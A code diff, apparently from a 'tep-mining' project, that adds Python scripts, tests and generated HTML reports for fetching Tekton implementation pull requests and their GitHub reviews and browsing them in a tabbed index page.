pipeline#7167TEP-140: Produce Results in MatrixAPPROVED+3344/-228 (24 files)80
pipeline#7245[TEP-0145] Pull in cel-go to vendorAPPROVED+59313/-0 (203 files)2
pipeline#7247[TEP-0145] Add CEL field to WhenExpression, and feature flag to guard the fieldAPPROVED+292/-54 (22 files)13
pipeline#7251[TEP-0145] Add sanity check for CEL expressionAPPROVED+113/-5 (5 files)1
pipeline#7255[TEP-0145] Add CEL evaluationAPPROVED+750/-17 (17 files)23
pipeline#7273parameterize pipelineTask `displayName` APPROVED+221/-78 (5 files)3
pipeline#7627Per-feature Flag Test SuiteCOMMENTED+531/-16 (4 files)0
pipeline#7633TEP-0138 New features to use Per-feature flag structAPPROVED+73/-18 (2 files)0
pipeline#7657Update e2e-test script for per-feature flag testAPPROVED+5/-0 (1 files)0
pipeline#7662Add feature flags recording demo for developer guideAPPROVED+4/-0 (1 files)3
pipeline#7746feat: introduce when expressions to stepsAPPROVED+1910/-344 (33 files)8
pipeline#7987support `fail-fast` for PipelineRunCHANGES_REQUESTED+250/-10 (15 files)4
pipeline#8103Add isBuildArtifact field to ArtifactsCHANGES_REQUESTED+156/-28 (12 files)12
plumbing#973CI Interceptors: Use Environment Variables instead of ParametersAPPROVED+72/-38 (4 files)0
plumbing#974CI Jobs: Use Environment Variables instead of ParametersAPPROVED+8/-2 (2 files)0
plumbing#975CI Shared: Use Environment Variables instead of ParametersAPPROVED+16/-6 (1 files)0
plumbing#976Mario Bot: Use Environment Variables instead of ParametersAPPROVED+11/-4 (1 files)0
plumbing#977Sanitize param usage in some plumbing task script blocksAPPROVED+185/-81 (12 files)3
plumbing#1803Add Prow setup for feature flag testsAPPROVED+54/-0 (1 files)3
resolution#75TEP-0115: Add git revision resolution support in Git ResolverAPPROVED+150/-127 (8 files)0
results#121JSON Serialized Records + Postgres impl.APPROVED+725/-676 (35 files)8
results#203Proof of Concept: Persist and Serve TaskRun LogsCOMMENTED+3901/-440 (34 files)0
results#301[TEP-0117] Tekton Results LogsCOMMENTED+443627/-27941 (2812 files)29
results#745WIP: POC for Storing List of EventsCOMMENTED+1485/-305 (32 files)0
triggers#628Add a new CRD type called TriggerCHANGES_REQUESTED+920/-231 (22 files)9
triggers#734Enhance existing eventlistener to support PodTemplate for Deployment using duck typeCOMMENTED+550/-19 (11 files)27
triggers#773Add EventListener Selector For TriggerCRDCOMMENTED+912/-401 (30 files)23
triggers#819Allow secure connection to eventlistener podAPPROVED+786/-132 (11 files)22
triggers#828TEP-0022: Switch to immutable input event bodiesCHANGES_REQUESTED+2046/-739 (35 files)19
triggers#946Allow Nested triggers to be invoked after interceptor filter chain completesCOMMENTED+337/-71 (13 files)0
triggers#958Add support for custom object to triggers eventlistenerAPPROVED+2099/-172 (29 files)46
triggers#960Add ClusterInterceptor CRD for registering interceptorsAPPROVED+2366/-147 (36 files)31
triggers#976Migrate core interceptors to use InterceptorType CRDAPPROVED+313/-214 (18 files)8
triggers#1232Feature: TriggerGroupsAPPROVED+593/-187 (19 files)28
triggers#1333Add changes to run clusterinterceptor as HTTPSAPPROVED+441/-135 (19 files)30
triggers#1446POC: Concurrency controlsCOMMENTED+3187/-57 (49 files)0
+
+
+
+ Not found (404 — deleted or transferred) +
+ + + +
PR
None
+
+
+
Made with IBM Bob
+
+ + diff --git a/reports/index.html b/reports/index.html new file mode 100644 index 0000000..c41cda0 --- /dev/null +++ b/reports/index.html @@ -0,0 +1,69 @@ + + + + +tep-mining Reports + + + +
+

tep-mining Reports

+

4 report(s) from reports/*.html

+
+
+
+ + + diff --git a/scripts/build_report_index.py b/scripts/build_report_index.py new file mode 100644 index 0000000..767ce6f --- /dev/null +++ b/scripts/build_report_index.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +# Copyright 2026 The Tekton Authors +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +"""Build a tabbed index page over every generated report in reports/. + +Each report keeps its own standalone HTML file (so it still works when +opened directly); the index just embeds each one in an iframe behind a tab +so they can all be browsed from a single page. Reports are discovered by +scanning reports/*.html — nothing to update when a new report is added. + +Usage: + uv run scripts/build_report_index.py + uv run scripts/build_report_index.py --reports-dir reports --out reports/index.html +""" + +import argparse +import re +import sys +from pathlib import Path + +RE_TITLE = re.compile(r"(.*?)", re.IGNORECASE | re.DOTALL) + +CSS = """ + *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; } + html, body { height: 100%; } + body { + font-family: -apple-system, "Segoe UI", system-ui, sans-serif; + font-size: 14px; color: #1f2328; background: #ffffff; + display: flex; flex-direction: column; + } + header { padding: 20px 24px 0; } + h1 { font-size: 18px; font-weight: 600; margin-bottom: 4px; } + .subtitle { color: #57606a; font-size: 13px; margin-bottom: 16px; } + .tabs { + display: flex; gap: 4px; padding: 0 20px; + border-bottom: 1px solid #e5e7eb; flex-wrap: wrap; + } + .tab { + appearance: none; border: 1px solid transparent; border-bottom: none; + background: transparent; cursor: pointer; + padding: 9px 16px; font-size: 13px; font-weight: 500; color: #57606a; + border-radius: 6px 6px 0 0; + } + .tab:hover { background: #f7f8fa; color: #1f2328; } + .tab.active { + background: #ffffff; color: #1f2328; + border-color: #e5e7eb; border-bottom: 1px solid #ffffff; + margin-bottom: -1px; + } + .panels { flex: 1; position: relative; } + iframe { + position: absolute; inset: 0; width: 100%; height: 100%; + border: 0; display: none; + } + iframe.active { display: block; } + .empty { padding: 40px 24px; color: #57606a; } +""" + +JS = """ +function showTab(id) { + document.querySelectorAll('.tab').forEach(function (el) { + el.classList.toggle('active', el.dataset.target === id); + }); + document.querySelectorAll('iframe').forEach(function (el) { + el.classList.toggle('active', el.id === id); + }); + window.location.hash = id; +} +window.addEventListener('DOMContentLoaded', function () { + var initial = window.location.hash.replace('#', ''); + var tabs = document.querySelectorAll('.tab'); + if (!initial || !document.getElementById(initial)) { + initial = tabs.length ? tabs[0].dataset.target : ''; + } + if (initial) showTab(initial); +}); +""" + + +def _label(report_path: Path) -> str: + text = report_path.read_text(encoding="utf-8", errors="replace") + match = RE_TITLE.search(text) + if match and match.group(1).strip(): + return match.group(1).strip() + return report_path.stem.replace("_", " ").replace("-", " ").title() + + +def build_index(reports_dir: Path, self_name: str) -> str: + report_files = sorted(p for p in reports_dir.glob("*.html") if p.name != self_name) + + if not report_files: + body = '
No reports found in reports/. Run a fetch/report target first.
' + tabs_html = "" + else: + tabs = [] + iframes = [] + for i, path in enumerate(report_files): + tab_id = path.stem + label = _label(path) + tabs.append( + f'' + ) + iframes.append( + f'' + ) + tabs_html = f'
{"".join(tabs)}
' + body = f'
{"".join(iframes)}
' + + return f""" + + + +tep-mining Reports + + + +
+

tep-mining Reports

+

{len(report_files)} report(s) from reports/*.html

+
+{tabs_html} +{body} + + + +""" + + +def main(argv: list[str] | None = None) -> int: + parser = argparse.ArgumentParser(description="Build a tabbed index over reports/*.html") + parser.add_argument("--reports-dir", default="reports") + parser.add_argument("--out", default="reports/index.html") + args = parser.parse_args(argv) + + reports_dir = Path(args.reports_dir) + out_path = Path(args.out) + reports_dir.mkdir(parents=True, exist_ok=True) + + out_path.write_text(build_index(reports_dir, out_path.name), encoding="utf-8") + print(f"Written: {out_path}") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/scripts/fetch_impl_prs.py b/scripts/fetch_impl_prs.py new file mode 100644 index 0000000..a4814fa --- /dev/null +++ b/scripts/fetch_impl_prs.py @@ -0,0 +1,550 @@ +#!/usr/bin/env python3 +# Copyright 2026 The Tekton Authors +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +"""Sub-Task 5: Fetch implementation PR metadata and review comments. + +Reads raw/teps.jsonl, extracts every (repo, pr_number) implementation PR link, +and fetches PR metadata + reviews + review comments from the GitHub REST API +across tektoncd/* repos generically (whichever repos actually appear in the +links, not a fixed allowlist). + +Usage: + uv run scripts/fetch_impl_prs.py + uv run scripts/fetch_impl_prs.py --sample 84,132 +""" + +import argparse +import json +import os +import re +import sys +import time +from datetime import UTC, datetime +from pathlib import Path + +import requests +from dotenv import load_dotenv + +load_dotenv() + +ORG = "tektoncd" +GITHUB_API = "https://api.github.com" +RATE_LIMIT_THRESHOLD = 10 +RATE_LIMIT_LOG_STEP = 100 + +# Every (repo, pr_number) this script fetches came from a link the TEP author wrote into +# their own document. Sub-Task 6 (cross_repo_search.py) will append records discovered by +# searching instead, tagged "search" — this constant marks records added here. +DISCOVERED_VIA_LINK = "tep_file_link" + +RE_CLOSES = re.compile(r"\b(?:close[sd]?|fixe[sd]?|resolve[sd]?)\s*:?\s*#(\d+)", re.IGNORECASE) + + +def _session(token: str) -> requests.Session: + session = requests.Session() + session.headers["Accept"] = "application/vnd.github+json" + session.headers["X-GitHub-Api-Version"] = "2022-11-28" + session.headers["Authorization"] = f"Bearer {token}" + return session + + +def _check_rate(response: requests.Response, last_logged_remaining: int | None) -> int | None: + remaining = int(response.headers.get("X-RateLimit-Remaining", 999)) + should_log = ( + last_logged_remaining is None + or remaining <= RATE_LIMIT_THRESHOLD + or remaining // RATE_LIMIT_LOG_STEP < last_logged_remaining // RATE_LIMIT_LOG_STEP + ) + if should_log: + print(f"[rate-limit] remaining={remaining}", flush=True) + last_logged_remaining = remaining + if remaining <= RATE_LIMIT_THRESHOLD: + reset_ts = int(response.headers.get("X-RateLimit-Reset", 0)) + wait = max(0, reset_ts - int(time.time())) + 2 + print(f"[rate-limit] sleeping {wait}s until reset", flush=True) + time.sleep(wait) + return last_logged_remaining + + +def _get_paginated( + session: requests.Session, + url: str, + last_logged_remaining: int | None, +) -> tuple[list[dict], int | None]: + items: list[dict] = [] + next_url: str | None = url + while next_url: + response = session.get(next_url, timeout=30) + last_logged_remaining = _check_rate(response, last_logged_remaining) + response.raise_for_status() + data = response.json() + if isinstance(data, list): + items.extend(data) + else: + items.append(data) + next_url = None + link_header = response.headers.get("Link", "") + for part in link_header.split(","): + if 'rel="next"' in part: + next_url = part.split(";")[0].strip().strip("<>") + break + return items, last_logged_remaining + + +# --------------------------------------------------------------------------- +# Selection: (repo, pr_number) tuples from raw/teps.jsonl +# --------------------------------------------------------------------------- + + +def _load_jsonl(path: Path) -> list[dict]: + if not path.exists(): + return [] + with path.open(encoding="utf-8") as fh: + return [json.loads(line) for line in fh if line.strip()] + + +def _selected_impl_prs(teps: list[dict], all_teps: bool, sample: str) -> list[tuple[str, int]]: + """Return sorted, deduplicated (repo, pr_number) tuples for the selected TEPs.""" + if all_teps or not sample: + selected_teps = teps + else: + sample_numbers = {int(item.strip()) for item in sample.split(",") if item.strip()} + selected_teps = [t for t in teps if t.get("tep_number") in sample_numbers] + + pairs: set[tuple[str, int]] = set() + for tep in selected_teps: + for link in tep.get("impl_pr_links_detail", []): + pairs.add((str(link["repo"]), int(link["pr_number"]))) + return sorted(pairs) + + +# --------------------------------------------------------------------------- +# Record builders +# --------------------------------------------------------------------------- + + +def _user_login(obj: dict, field: str = "user") -> str | None: + user = obj.get(field) + if not isinstance(user, dict): + return None + login = user.get("login") + return str(login) if login else None + + +def _linked_issues(body: str) -> list[int]: + return sorted({int(n) for n in RE_CLOSES.findall(body or "")}) + + +def _pr_record(repo: str, pr: dict, reviews: list[dict]) -> dict: + reviewer_logins = sorted({login for review in reviews if (login := _user_login(review))}) + review_decision = "COMMENTED" + for decision in ["CHANGES_REQUESTED", "APPROVED", "DISMISSED", "COMMENTED"]: + if any(review.get("state") == decision for review in reviews): + review_decision = decision + break + return { + "repo": repo, + "pr_number": int(pr["number"]), + "title": str(pr.get("title") or ""), + "body": str(pr.get("body") or ""), + "labels": [ + str(label.get("name", "")) for label in pr.get("labels", []) if label.get("name") + ], + "files_changed": pr.get("changed_files"), + "additions": pr.get("additions"), + "deletions": pr.get("deletions"), + "linked_issues": _linked_issues(pr.get("body") or ""), + "created_at": pr.get("created_at"), + "merged_at": pr.get("merged_at"), + "reviewer_logins": reviewer_logins, + "review_decision": review_decision, + "discovered_via": DISCOVERED_VIA_LINK, + } + + +def _review_comment_records(repo: str, pr_number: int, comments: list[dict]) -> list[dict]: + return [ + { + "repo": repo, + "pr_number": pr_number, + "comment_id": int(comment["id"]), + "body": str(comment.get("body") or ""), + "path": comment.get("path"), + "line": comment.get("line"), + "author": _user_login(comment), + "created_at": comment.get("created_at"), + } + for comment in comments + ] + + +# --------------------------------------------------------------------------- +# Existing-record loading (for incremental skip) +# --------------------------------------------------------------------------- + + +def _load_existing_prs(path: Path) -> set[tuple[str, int]]: + existing: set[tuple[str, int]] = set() + for record in _load_jsonl(path): + existing.add((str(record["repo"]), int(record["pr_number"]))) + return existing + + +def _load_existing_review_comments(path: Path) -> set[tuple[str, int, int]]: + existing: set[tuple[str, int, int]] = set() + for record in _load_jsonl(path): + existing.add((str(record["repo"]), int(record["pr_number"]), int(record["comment_id"]))) + return existing + + +def _append_jsonl(path: Path, records: list[dict]) -> None: + if not records: + return + path.parent.mkdir(parents=True, exist_ok=True) + with path.open("a", encoding="utf-8") as handle: + for record in records: + handle.write(json.dumps(record, sort_keys=True) + "\n") + + +# --------------------------------------------------------------------------- +# HTML report +# --------------------------------------------------------------------------- + +CSS = """ + *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; } + body { font-family: -apple-system, "Segoe UI", system-ui, sans-serif; font-size: 14px; line-height: 1.6; background: #ffffff; color: #1f2328; padding: 32px 16px; } + .container { max-width: 900px; margin: 0 auto; } + h1 { font-size: 20px; font-weight: 600; margin-bottom: 4px; } + .subtitle { color: #57606a; font-size: 13px; margin-bottom: 20px; } + .summary-grid { display: grid; grid-template-columns: repeat(4, 1fr); gap: 12px; margin-bottom: 24px; } + .card { background: #f7f8fa; border: 1px solid #e5e7eb; border-radius: 6px; padding: 14px 16px; } + .card .num { font-size: 28px; font-weight: 700; color: #1f2328; } + .card .label { font-size: 12px; color: #57606a; margin-top: 2px; } + details { margin-top: 16px; border: 1px solid #e5e7eb; border-radius: 6px; background: #ffffff; } + summary { cursor: pointer; list-style: none; padding: 12px 14px; font-weight: 600; background: #f7f8fa; border-bottom: 1px solid #e5e7eb; } + summary::-webkit-details-marker { display: none; } + .details-body { padding: 0 0 4px; } + table { width: 100%; border-collapse: collapse; font-size: 13px; } + thead th { background: #f7f8fa; text-align: left; padding: 7px 10px; font-weight: 600; border-bottom: 2px solid #e5e7eb; color: #57606a; font-size: 12px; text-transform: uppercase; letter-spacing: .03em; } + tbody tr:nth-child(even) { background: #f7f8fa; } + tbody td { padding: 6px 10px; border-bottom: 1px solid #e5e7eb; vertical-align: top; } + a { color: #3b82d4; text-decoration: none; } + footer { margin-top: 40px; padding-top: 12px; border-top: 1px solid #e5e7eb; text-align: center; font-size: 12px; color: #57606a; } + .badge { display: inline-block; font-size: 11px; padding: 1px 7px; border-radius: 10px; font-weight: 500; white-space: nowrap; } + .badge-approved { background: #f0fdf4; color: #15803d; border: 1px solid #bbf7d0; } + .badge-changes { background: #fef2f2; color: #b91c1c; border: 1px solid #fecaca; } + .badge-commented { background: #eff6ff; color: #1d4ed8; border: 1px solid #bfdbfe; } + .badge-404 { background: #fef2f2; color: #b91c1c; border: 1px solid #fecaca; } + .badge-skipped { background: #f7f8fa; color: #57606a; border: 1px solid #e5e7eb; } + .pr-chip { display: block; margin-bottom: 3px; } + .pr-chip:last-child { margin-bottom: 0; } +""" + + +def _review_badge(decision: str) -> str: + css = { + "APPROVED": "badge-approved", + "CHANGES_REQUESTED": "badge-changes", + }.get(decision, "badge-commented") + return f'{decision}' + + +def _tep_mapping_rows(teps: list[dict], pr_records: list[dict], not_found: list[dict]) -> str: + """Build one row per TEP that links implementation PRs, mapping TEP -> PR chips.""" + pr_by_key = {(r["repo"], r["pr_number"]): r for r in pr_records} + not_found_keys = {(r["repo"], r["pr_number"]) for r in not_found} + + rows = [] + for tep in sorted(teps, key=lambda t: t.get("tep_number", 0)): + links = tep.get("impl_pr_links_detail") or [] + if not links: + continue + + chips = [] + seen: set[tuple[str, int]] = set() + for link in links: + key = (str(link["repo"]), int(link["pr_number"])) + if key in seen: + continue + seen.add(key) + repo, pr_number = key + url = f"https://github.com/{ORG}/{repo}/pull/{pr_number}" + anchor = f'{repo}#{pr_number}' + if key in pr_by_key: + badge = _review_badge(pr_by_key[key]["review_decision"]) + elif key in not_found_keys: + badge = '404' + else: + badge = 'not fetched' + chips.append(f'{anchor} {badge}') + + tep_number = int(tep.get("tep_number", 0)) + title = tep.get("title") or "" + source_file = tep.get("source_file") + tep_label = ( + f'TEP-{tep_number:04d}' + if source_file + else f"TEP-{tep_number:04d}" + ) + rows.append(f"{tep_label}{title}{''.join(chips)}") + return "".join(rows) + + +def _build_report( + teps: list[dict], + pr_records: list[dict], + review_records: list[dict], + not_found: list[dict], + selected_count: int, +) -> str: + generated = datetime.now(UTC).strftime("%Y-%m-%d %H:%M UTC") + + tep_mapping_rows = _tep_mapping_rows(teps, pr_records, not_found) + + review_counts: dict[tuple[str, int], int] = {} + for review in review_records: + key = (review["repo"], int(review["pr_number"])) + review_counts[key] = review_counts.get(key, 0) + 1 + + by_repo: dict[str, int] = {} + for record in pr_records: + by_repo[record["repo"]] = by_repo.get(record["repo"], 0) + 1 + repo_rows = "".join( + f"{repo}{count}" + for repo, count in sorted(by_repo.items(), key=lambda kv: -kv[1]) + ) + + pr_rows = [] + for record in sorted(pr_records, key=lambda r: (r["repo"], r["pr_number"])): + repo = record["repo"] + pr_number = record["pr_number"] + key = (repo, pr_number) + pr_rows.append( + "" + f'{repo}#{pr_number}' + f"{record['title']}" + f"{record['review_decision']}" + f"+{record['additions'] or 0}/-{record['deletions'] or 0} ({record['files_changed'] or 0} files)" + f"{review_counts.get(key, 0)}" + "" + ) + + not_found_rows = "".join( + f'{r["repo"]}#{r["pr_number"]}' + for r in sorted(not_found, key=lambda r: (r["repo"], r["pr_number"])) + ) + + return f""" + + + +Implementation PR Report + + + +
+

Implementation PR Report

+

Generated {generated} — source: raw/impl_prs.jsonl and raw/impl_pr_reviews.jsonl

+
+
{selected_count}
Selected PR links
+
{len(pr_records)}
Fetched PR records
+
{len(not_found)}
Not found (404)
+
{len(review_records)}
Review comments
+
+
+ Implementation PRs by TEP +
+ + + {tep_mapping_rows or ''} +
TEPTitleImplementation PR(s)
None
+
+
+
+ PRs by repo +
+ + + {repo_rows} +
RepoPR count
+
+
+
+ PR records +
+ + + {"".join(pr_rows)} +
PRTitleReview decisionSizeComment count
+
+
+
+ Not found (404 — deleted or transferred) +
+ + + {not_found_rows or ""} +
PR
None
+
+
+
Made with IBM Bob
+
+ + +""" + + +def _write_report( + path: Path, + teps: list[dict], + pr_records: list[dict], + review_records: list[dict], + not_found: list[dict], + selected_count: int, +) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text( + _build_report(teps, pr_records, review_records, not_found, selected_count), + encoding="utf-8", + ) + + +# --------------------------------------------------------------------------- +# Main +# --------------------------------------------------------------------------- + + +def main(argv: list[str] | None = None) -> int: + parser = argparse.ArgumentParser( + description="Fetch implementation PR metadata and reviews across tektoncd/* repos" + ) + parser.add_argument("--teps-jsonl", default="raw/teps.jsonl") + parser.add_argument("--sample", default="", help="Comma-separated TEP numbers") + parser.add_argument("--all", action="store_true") + parser.add_argument("--output-prs", default="raw/impl_prs.jsonl") + parser.add_argument("--output-reviews", default="raw/impl_pr_reviews.jsonl") + parser.add_argument("--report", default="reports/impl_prs_report.html") + parser.add_argument( + "--token", + default=os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN"), + help="GitHub token (default: $GITHUB_TOKEN or $GH_TOKEN)", + ) + args = parser.parse_args(argv) + + if not args.token: + print( + "ERROR: No GitHub token found. Set GITHUB_TOKEN in .env or pass --token.", + file=sys.stderr, + ) + return 1 + + teps = _load_jsonl(Path(args.teps_jsonl)) + if not teps: + print(f"ERROR: no TEP records found in {args.teps_jsonl}", file=sys.stderr) + return 1 + + selected = _selected_impl_prs(teps, args.all, args.sample) + output_prs_path = Path(args.output_prs) + output_reviews_path = Path(args.output_reviews) + existing_prs = _load_existing_prs(output_prs_path) + existing_comments = _load_existing_review_comments(output_reviews_path) + session = _session(args.token) + + print(f"[progress] selected {len(selected)} implementation PR(s)", flush=True) + + last_logged_remaining: int | None = None + fetched_404 = 0 + for index, (repo, pr_number) in enumerate(selected, start=1): + if (repo, pr_number) in existing_prs: + continue + + print( + f"[progress] fetching {repo}#{pr_number} ({index}/{len(selected)})", + flush=True, + ) + pr_url = f"{GITHUB_API}/repos/{ORG}/{repo}/pulls/{pr_number}" + response = session.get(pr_url, timeout=30) + last_logged_remaining = _check_rate(response, last_logged_remaining) + + if response.status_code == 404: + fetched_404 += 1 + _append_jsonl( + output_prs_path, + [ + { + "repo": repo, + "pr_number": pr_number, + "status": 404, + "discovered_via": DISCOVERED_VIA_LINK, + } + ], + ) + existing_prs.add((repo, pr_number)) + print(f"[progress] {repo}#{pr_number}: 404 not found", flush=True) + continue + + response.raise_for_status() + pr = response.json() + + reviews, last_logged_remaining = _get_paginated( + session, f"{pr_url}/reviews", last_logged_remaining + ) + comments, last_logged_remaining = _get_paginated( + session, f"{pr_url}/comments", last_logged_remaining + ) + + _append_jsonl(output_prs_path, [_pr_record(repo, pr, reviews)]) + existing_prs.add((repo, pr_number)) + + new_comments = [] + for comment_record in _review_comment_records(repo, pr_number, comments): + key = (repo, pr_number, comment_record["comment_id"]) + if key not in existing_comments: + new_comments.append(comment_record) + existing_comments.add(key) + _append_jsonl(output_reviews_path, new_comments) + + print( + f"[progress] {repo}#{pr_number}: reviews={len(reviews)} comments={len(comments)} " + f"new_comment_records={len(new_comments)}", + flush=True, + ) + + all_pr_records = [r for r in _load_jsonl(output_prs_path) if r.get("status") != 404] + not_found_records = [r for r in _load_jsonl(output_prs_path) if r.get("status") == 404] + all_review_records = _load_jsonl(output_reviews_path) + + _write_report( + Path(args.report), + teps, + all_pr_records, + all_review_records, + not_found_records, + len(selected), + ) + + print("\n=== Coverage ===") + print(f"Selected : {len(selected)}") + print(f"Fetched : {len(all_pr_records)}") + print(f"Not found : {len(not_found_records)}") + print(f"Newly 404'd : {fetched_404}") + print(f"Review comments total: {len(all_review_records)}") + print(f"Written: {args.output_prs}") + print(f"Written: {args.output_reviews}") + print(f"Written: {args.report}") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tests/test_build_report_index.py b/tests/test_build_report_index.py new file mode 100644 index 0000000..145f6ec --- /dev/null +++ b/tests/test_build_report_index.py @@ -0,0 +1,36 @@ +from pathlib import Path + +from scripts.build_report_index import _label, build_index + + +def test_label_uses_title_tag_when_present(tmp_path: Path) -> None: + report = tmp_path / "gap_report.html" + report.write_text("TEP Number Gap Report") + + assert _label(report) == "TEP Number Gap Report" + + +def test_label_falls_back_to_filename_when_no_title(tmp_path: Path) -> None: + report = tmp_path / "impl_prs_report.html" + report.write_text("no title here") + + assert _label(report) == "Impl Prs Report" + + +def test_build_index_lists_a_tab_per_report_excluding_self(tmp_path: Path) -> None: + (tmp_path / "gap_report.html").write_text("Gap Report") + (tmp_path / "pr_map_report.html").write_text("PR Map Report") + (tmp_path / "index.html").write_text("should be excluded") + + html = build_index(tmp_path, self_name="index.html") + + assert "Gap Report" in html + assert "PR Map Report" in html + assert "should be excluded" not in html + assert html.count(" None: + html = build_index(tmp_path, self_name="index.html") + + assert "No reports found" in html diff --git a/tests/test_fetch_impl_prs.py b/tests/test_fetch_impl_prs.py new file mode 100644 index 0000000..66b42ab --- /dev/null +++ b/tests/test_fetch_impl_prs.py @@ -0,0 +1,203 @@ +from scripts.fetch_impl_prs import ( + _build_report, + _linked_issues, + _pr_record, + _review_badge, + _review_comment_records, + _selected_impl_prs, + _tep_mapping_rows, +) + + +def _tep(number: int, links: list[tuple[str, int]], title: str = "", source_file: str = "") -> dict: + return { + "tep_number": number, + "title": title, + "source_file": source_file, + "impl_pr_links_detail": [{"repo": repo, "pr_number": pr} for repo, pr in links], + } + + +def test_selected_impl_prs_uses_all_teps_by_default() -> None: + teps = [_tep(2, [("pipeline", 3463), ("pipeline", 3601)]), _tep(21, [("pipeline", 1921)])] + + selected = _selected_impl_prs(teps, all_teps=False, sample="") + + assert selected == [("pipeline", 1921), ("pipeline", 3463), ("pipeline", 3601)] + + +def test_selected_impl_prs_filters_to_sample() -> None: + teps = [_tep(2, [("pipeline", 3463)]), _tep(21, [("pipeline", 1921)])] + + selected = _selected_impl_prs(teps, all_teps=False, sample="21") + + assert selected == [("pipeline", 1921)] + + +def test_selected_impl_prs_deduplicates_across_teps() -> None: + teps = [_tep(2, [("pipeline", 100)]), _tep(3, [("pipeline", 100)])] + + selected = _selected_impl_prs(teps, all_teps=True, sample="") + + assert selected == [("pipeline", 100)] + + +def test_linked_issues_extracts_closing_keywords() -> None: + body = "Fixes #12 and also closes #34. Related to #56 (not a closing keyword)." + + assert _linked_issues(body) == [12, 34] + + +def test_linked_issues_handles_empty_body() -> None: + assert _linked_issues("") == [] + assert _linked_issues(None) == [] + + +def test_pr_record_collects_reviewers_decision_and_size() -> None: + pr = { + "number": 3463, + "title": "Add Custom Task support", + "body": "Implements part of tektoncd/community#159. Fixes #200.", + "labels": [{"name": "kind/feature"}], + "changed_files": 12, + "additions": 400, + "deletions": 20, + "created_at": "2021-01-01T00:00:00Z", + "merged_at": "2021-02-01T00:00:00Z", + } + reviews = [ + {"state": "COMMENTED", "user": {"login": "reviewer-1"}}, + {"state": "APPROVED", "user": {"login": "reviewer-2"}}, + ] + + record = _pr_record("pipeline", pr, reviews) + + assert record == { + "repo": "pipeline", + "pr_number": 3463, + "title": "Add Custom Task support", + "body": "Implements part of tektoncd/community#159. Fixes #200.", + "labels": ["kind/feature"], + "files_changed": 12, + "additions": 400, + "deletions": 20, + "linked_issues": [200], + "created_at": "2021-01-01T00:00:00Z", + "merged_at": "2021-02-01T00:00:00Z", + "reviewer_logins": ["reviewer-1", "reviewer-2"], + "review_decision": "APPROVED", + "discovered_via": "tep_file_link", + } + + +def test_review_comment_records_extract_fields_with_repo() -> None: + comments = [ + { + "id": 10, + "body": "nit", + "path": "pkg/reconciler/foo.go", + "line": 42, + "user": {"login": "reviewer-1"}, + "created_at": "2021-01-02T00:00:00Z", + } + ] + + records = _review_comment_records("pipeline", 3463, comments) + + assert records == [ + { + "repo": "pipeline", + "pr_number": 3463, + "comment_id": 10, + "body": "nit", + "path": "pkg/reconciler/foo.go", + "line": 42, + "author": "reviewer-1", + "created_at": "2021-01-02T00:00:00Z", + } + ] + + +def test_review_badge_maps_known_decisions() -> None: + assert "badge-approved" in _review_badge("APPROVED") + assert "badge-changes" in _review_badge("CHANGES_REQUESTED") + assert "badge-commented" in _review_badge("COMMENTED") + assert "badge-commented" in _review_badge("DISMISSED") + + +def _pr(repo: str, pr_number: int, decision: str = "APPROVED") -> dict: + return {"repo": repo, "pr_number": pr_number, "review_decision": decision} + + +def test_tep_mapping_rows_skips_teps_without_links() -> None: + teps = [_tep(1, [], title="No links")] + + rows = _tep_mapping_rows(teps, pr_records=[], not_found=[]) + + assert rows == "" + + +def test_tep_mapping_rows_links_fetched_pr_with_review_badge() -> None: + teps = [_tep(2, [("pipeline", 3463)], title="Custom Tasks", source_file="0002-custom-tasks.md")] + pr_records = [_pr("pipeline", 3463, "APPROVED")] + + rows = _tep_mapping_rows(teps, pr_records, not_found=[]) + + assert "TEP-0002" in rows + assert "0002-custom-tasks.md" in rows + assert "Custom Tasks" in rows + assert "pipeline#3463" in rows + assert "badge-approved" in rows + + +def test_tep_mapping_rows_marks_404_and_unfetched() -> None: + teps = [_tep(3, [("pipeline", 1), ("triggers", 2)], title="Two links")] + + rows = _tep_mapping_rows(teps, pr_records=[], not_found=[{"repo": "pipeline", "pr_number": 1}]) + + assert "badge-404" in rows + assert "badge-skipped" in rows + assert "not fetched" in rows + + +def test_tep_mapping_rows_deduplicates_repeated_links() -> None: + teps = [_tep(4, [("pipeline", 1), ("pipeline", 1)], title="Dup links")] + pr_records = [_pr("pipeline", 1)] + + rows = _tep_mapping_rows(teps, pr_records, not_found=[]) + + assert rows.count("pipeline#1") == 1 + + +def test_tep_mapping_rows_orders_by_tep_number() -> None: + teps = [ + _tep(30, [("pipeline", 9)], title="Thirty"), + _tep(2, [("pipeline", 8)], title="Two"), + ] + pr_records = [_pr("pipeline", 9), _pr("pipeline", 8)] + + rows = _tep_mapping_rows(teps, pr_records, not_found=[]) + + assert rows.index("TEP-0002") < rows.index("TEP-0030") + + +def test_build_report_includes_tep_mapping_section() -> None: + teps = [_tep(2, [("pipeline", 3463)], title="Custom Tasks", source_file="0002-custom-tasks.md")] + pr_records = [ + { + "repo": "pipeline", + "pr_number": 3463, + "title": "Add Custom Task support", + "review_decision": "APPROVED", + "additions": 10, + "deletions": 2, + "files_changed": 3, + } + ] + + html = _build_report(teps, pr_records, review_records=[], not_found=[], selected_count=1) + + assert html.startswith("") + assert "Implementation PRs by TEP" in html + assert "TEP-0002" in html + assert "pipeline#3463" in html